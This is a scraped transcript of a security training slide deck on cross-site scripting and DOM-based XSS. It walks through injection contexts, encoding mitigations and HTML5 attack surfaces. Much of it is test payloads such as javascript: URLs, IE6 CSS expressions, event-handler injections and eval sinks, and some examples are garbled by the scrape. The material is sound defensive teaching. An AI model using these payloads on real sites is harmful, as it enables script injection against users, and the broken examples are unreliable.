Return of the XSS Jedi

Download Return of the XSS Jedi

Post on 01-Dec-2014

49 views

Category:

Documents

7 download

Embed Size (px)

TRANSCRIPT

<p>A Review and XSS and Introduction to DOM based XSS</p> <p>RETURN OF XSS JEDI BY ABE KANG</p> <p>5 XSS CONTEXTS (HTML PARSER)HTML URL CSS HTML Attribute JavaScript (Event Handler Attributes and in between tags)</p> <p>DOM BASED XSS (JAVASCRIPT PARSER)JavaScript can access/modify any of the HTML elements and attributes of elements displayed on the page in all of the contexts described on the previous slide. DOM based XSS also includes other JS functions which execute arbitrary code which can be problematic.</p> <p>HTML CONTEXTA HTML context is output which is usually rendered in between HTML markup tags ( tags in this example). Another way of understanding the HTML context is the displayed text (content) in the page. Name:${actionForm.name} Adress: City: State: </p> <p>Use a level of indirection to mitigate.</p> <p>HTML ATTRIBUTE CONTEXTThe HTML tag attribute context consists of user data output in any HTML tag attributes. However there is some discerning that needs to take place here because HTML tag attributes can be in different contexts. For example the STYLE attribute of an HTML tag defining a CSS context, URL based attributes (src, background, and href) defining URL based contexts, JavaScript event handlers attributes of HTML tags (onLoad,onClick, on*) defining JavaScript contexts, and the remaining attributes which do not fall in this category (name, value, type, etc.) constituting general HTML attributes.</p> <p>The following are considered HTML contexts:</p> <p>If the tags do not use quotes to delimit attributes then space and other non-alphanumeric characters can be used to delimit attributes in the tag.</p> <p> The attacker can pass in Input onclick=attackCode() to produce: </p> <p>Use HTML Attribute Encoding to mitigate</p> <p>JAVASCRIPT CONTEXT (EVENT HANDLER)</p> <p>The JavaScript (JS) context occurs where text is parsed by the JavaScript parser and executed. The JS context occurs in JS event handler attributes and in between tags. JavaScript event handler attributes are HTML tag attributes which handle certain user events including clicks, mouse movement, focus, blur, etc. The attributes are easily identified because they start with on. Remember that text within JS event handlers is raw JS code. The main problem with JavaScript event handler attributes is they are HTMLunescaped (at execution time) before they are passed to the JS interpreter. So if you use HTML output entity encoding to mitigate input data you will be disappointed because malicious_code() will still execute. Some Text </p> <p>JS CONTEXT (EVENT HANDLER MITIGATION)</p> <p>1. If the string literal will eventually end up in HTML you will need to HTML encode the string. 2. Ensure that the string literal or the string from step 1 above is JavaScript-escaped using a function which properly escapes dangerous JavaScript characters (example: when escaping a double quote the output value should be \x22 instead of \. The HTML parser will run before the JavaScript parser allowing the \ to close out the attribute and add other attributes with malicious code inside them.) 3. Make certain that the string literal is enclosed in single quotes 4. Make sure that the surrounding attribute value is enclosed in double quotesMitigated example (assuming user input will end up in an HTML component):</p> <p>These steps are for older browsers:</p> <p>JS CONTEXT (IN BETWEEN TAGS) AKA DOM BASED XSSBecause JavaScript can access/modify any of the previous contexts that we discussed, the 5 contexts will exist as sub-contexts within the JavaScript context. However there are also methods/functions which are inherently dangerous because they will execute any string passed to it as code. HTML 5 has introduced additional points of interest</p> <p>DOM XSS IN HTML SUB-CONTEXT</p> <p>This context in JavaScript code highlights functions which output text to the browser as HTML.element.innerHTML = Tags and markup; element.outerHTML = Tags and markup; document.write( Tags and markup); document.writeln( Tags and markup);element.innerHTML = ; element.outerHTML = ; document.write(); document.writeln();</p> <p>Since the output is going to HTML you need to HTML encode. Because you are in a JS execution context you need to JS encode to avoid escaping out of the JS quotes.</p> <p>DOM XSS IN URL SUB-CONTEXT</p> <p>Remember that any attribute which takes a url falls into this category (background-image, src, location, etc.).var x = document.createElement(a); x.setAttribute(href, ); var y = document.createTextElement(Click Me To Test); x.appendChild(y); document.body.appendChild(x); var x = document.createElement(a); x.href = ; var y = document.createTextElement(Click Me To Test); x.appendChild(y); document.body.appendChild(x); Because the parser which is parsing the code is the JS parser (vs the HTML parser), the reverse encoding rules are different. The colon rule (url encoding the colon)still holds true however, HTML encoding does not get reverse encoded. In addition, JS encoding does not stop a javascript: based attack. JS encoding only is used to prevent the attacker from injecting up (escaping out of the quotes).</p> <p>DOM XSS IN URL SUB-CONTEXT (TESTS)//HTML encoding everything including ": does not work This would have worked in an HTML rendering context var s = "javascript:alert( 31;23)" //URL encoding everything does not work (colon rule) var s = "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%32%33%29"; //This works where "javascript:" is not encoded. var s = "javascript:%61%6C%65%72%74%28%31%32%33%29%0A"; //This does not work but would have worked in an HTML rendering context var s = "javascript:alert(123)" //This works var s = "javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029"; //JavaScript encoding everything works as well var s = "\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0 028\u0031\u0032\u0033\u0029" var link = document.createElement("a"); //link.setAttribute("href", s); link.href = s; var text = document.createTextNode("Click Me") link.appendChild(text); document.body.appendChild(link);</p> <p>DOM XSS IN CSS SUB-CONTEXT </p> <p>Remember that any attribute which sets a CSS attribute will fall into this category. Most of the expression functionality has been deactivated after IE6.document.body.runtimeStyle.cssText = '1:expression(alert(123))</p> <p> Most exploits are related to setting URL attributes on style objects //DNW document.body.style.backgroundImage = "javascript:alert(999)"; //WORKED IE6 document.body.style.backgroundImage = "url(javascript:alert(999))"; //WORKED IE6 document.body.style.backgroundImage = "url(vbscript:Alert(99))"; //WORKED IE6 document.body.background = "javascript:alert(999)" //WORKED IE6 document.body.background = "vbscript:Alert(99)"; //WORKED IE6 var e = document.createElement("table"); //WORKED IE6 e.setAttribute("background", "javascript:alert('Background')"); //WORKED IE6 var e = document.createElement("table"); //WORKED IE6 e.setAttribute("background", "vbscript:Alert(3333)"); //var e = document.createElement("div"); //The below 4 do not work in IE6 //e.setAttribute("style", "backgroundImage:url(javascript:alert('dynamic DIV'))"); //e.setAttribute("style", "background-image:url(javascript:alert('dynamic DIV'))"); //e.setAttribute("style", "backgroundimage:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\007 2\0074\0028.1027\0058.1053\0053\0027\0029'\0029"); //document.body.style = "backgroundImage: url(javascript:alert('999'))";//Both of the below do NOT work //e.style.width = "expression(alert(1111))"; //e.setAttribute("style", "width:expression(alert(89898))"); //var e = document.createElement("xss"); //DNW e.setAttribute("style", "xss:expression(alert('XSS'))"); //DNW document.body.style.xss = "expression(alert('XSS'))"; //DNW document.body.style.width = "expression(alert(1111))";</p> <p>DOM XSS IN HTML ATTTRIBUTE SUB-CONTEXT</p> <p>Because the HTML attribute contexts inherently includes attributes which are not defined in URL, CSS, and event handler contexts their exploitability is limited. The one major exception is when setting the text node or attribute of a inherently dangerous tag (, , etc.).</p> <p>/*Works in FF3.6 but not in IE8 */ var s = document.createElement("script"); var t = document.createTextNode("alert('textNode')"); s.appendChild(t); document.body.appendChild(s);</p> <p>document.scripts[1].text = "alert('scripts[1]')";</p> <p>DOM XSS IN HTML ATTRIBUTE SUB-CONTEXT (TESTS)//HTML Attribute Context //Input is "javascript:alert(123)" //HTML encoding everything including ": does not work" //var s = "javascript:alert( 31;23)" //URL encoding everything does not work //var s = "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%32%33%29"; //This does not work where "javascript:" is not encoded. //var s = "javascript:%61%6C%65%72%74%28%31%32%33%29%0A"; //This does not work //var s = "javascript:alert(123)" //This does not work //var s = "javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029"; //JavaScript encoding everything does not work as well //Does not work //var s = "\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0 028\u0031\u0032\u0033\u0029" //Injecting does not work //var s = "alert(123)//"; /* var inp = document.createElement("input"); inp.setAttribute("value", s); var form1 = document.forms[0]; form1.appendChild(inp);</p> <p>DOM XSS IN EVENT HANDLER SUB-CONTEXT</p> <p>Remember that any attribute which is an event handler method falls into this category (onload, onclick, etc.). You will typically see it in one or more of the following ways.// alert(123) is JavaScript encoded in red below var s = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029 var inp = document.createElement("input"); inp.setAttribute("onclick", s); // element.setAttribute() will coerce strings to their native types //or inp.onclick = new Function ("alert(111)"); // Event handlers are functions not strings var form1 = document.forms[0]; form1.appendChild(inp);</p> <p>A key thing to note is that event handlers are function types as opposed to strings coerced into functions. The setAttribute(x, y) will coerce strings to their native attribute types. HTML, and URL encoding will break the app but keep XSS from executing. Contrary to the general rule, JavaScript encoding will not stop attacks here.</p> <p>DOM XSS IN EVENT HANDLER SUB-CONTEXT TESTS//JavaScript Event handler Context //Input is "javascript:alert(123) HTML encoding everything including ": does not work" var s = "javascript:alert( 31;23)" //URL encoding everything does not work var s = "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%32%33%29"; //This does not work where "javascript:" is not encoded. var s = "javascript:%61%6C%65%72%74%28%31%32%33%29%0A"; //This does not work var s = "javascript:alert(123)" //This does not work because this is not a URL context and javascript: var s = "javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029"; //JavaScript encoding everything does work in a JavaScript event handler when using the "javascript:" protocol //Does work var s = "\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0 028\u0031\u0032\u0033\u0029" //The following below works in Mozilla var s = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029"; var inp = document.createElement("input"); inp.setAttribute("onclick", s); var form1 = document.forms[0]; form1.appendChild(inp);</p> <p>DOM BASED XSS CODE EXECUTION METHODS</p> <p>There are methods within JavaScript which execute code from a JS string or raw text.eval(), setInterval(), setTimeout, executeScript(), new Function(), scriptElement.text = , defineSetter(x, eval); x=attackCode; window[x](y) or top[x](y); //Where x=eval and y=attackCode window[x] = y; or top[x] = y; // You tell me str.replace(/.+/, function($1) {//code which operates on $1})</p> <p>The key thing to remember is that JavaScript encoding is just an equivalent format for representing unicode characters. If you JavaScript encode characters and pass them to the methods above they will still execute. Remember that /string/.source and String.fromCharCode(12,23....) can be used to create strings.</p> <p>MISCELLANEOUS</p> <p>JavaScript statements can be terminated by semicolon or new line.var a =1 var b =2;</p> <p>You can declare multiple variables on the same line even if they are of different typesvar a = 1, b = window.opener, c=myString;</p> <p>You can assign system functions and objects to variablesvar o = eval; o(alert(213));</p> <p>If you use a Encoding library which JS encodes (double quote) to \. Then you will be able to escape out of a JS event handler.</p> <p>The attacker can pass in</p> <p>null onmouseover=attackCode() x=</p> <p>The above attack works because the HTML parser runs before the JavaScript parser.</p> <p>HTML 5 XSS NOTIFICATIONAPI PHISHING</p> <p>Shows a Outlook Email Notification in bottom right corner of screen. Only works in Chrome</p> <p>function RequestPermission (callback) { window.webkitNotifications.requestPermission(callback); } function showNotification(){ if (window.webkitNotifications.checkPermission() &gt; 0) { RequestPermission(showNotification); } else { window.webkitNotifications.createNotification("http://www.wf.com/home.png", "Title", "Body").show(); } }</p> <p>HTML 5 XSS WebStorageAPI Poisoning</p> <p>An attacker can over write Web Storage</p> <p>window.sessionStorage.setItem(myFirstKey', untrustedData); window.localStorage.setItem(myFirstKey', untrustedData); window.sessionStorage[myFirstKey] = untrustedData; window.localStorage.myFirstKey = untrustedData; sessionStorage.setItem(myFirstKey', untrustedData); localStorage.setItem(myFirstKey', untrustedData); globalStorage.</p> <p>HTML 5 XSS ClientSide SQL Injection</p> <p>Request Parameters going to client side SQL</p> <p>var db = google.gears.factory.create('beta.database'); db.open('dot_store_http___zscaler_paymo_biz_client_2_0_client_html'); var data; var rs = db.execute('SELECT * FROM __DOJO_STORAGE' + reqParam); var db = openDatabase('mydb', '1.0', 'my first database', 2 * 1024 * 1024); db.transaction(function (tx) { // here be the transaction // do SQL magic here using the tx object tx.executeSql('SELECT * FROM __DOJO_STORAGE' + reqParam);</p> <p>HTML 5 XSS CLIENT-SIDE STORED XSS</p> <p>Data from localstorage or client DB is sent to vulnerable methods that we have been discussing</p> <p>Q&amp;A</p> <p>?</p>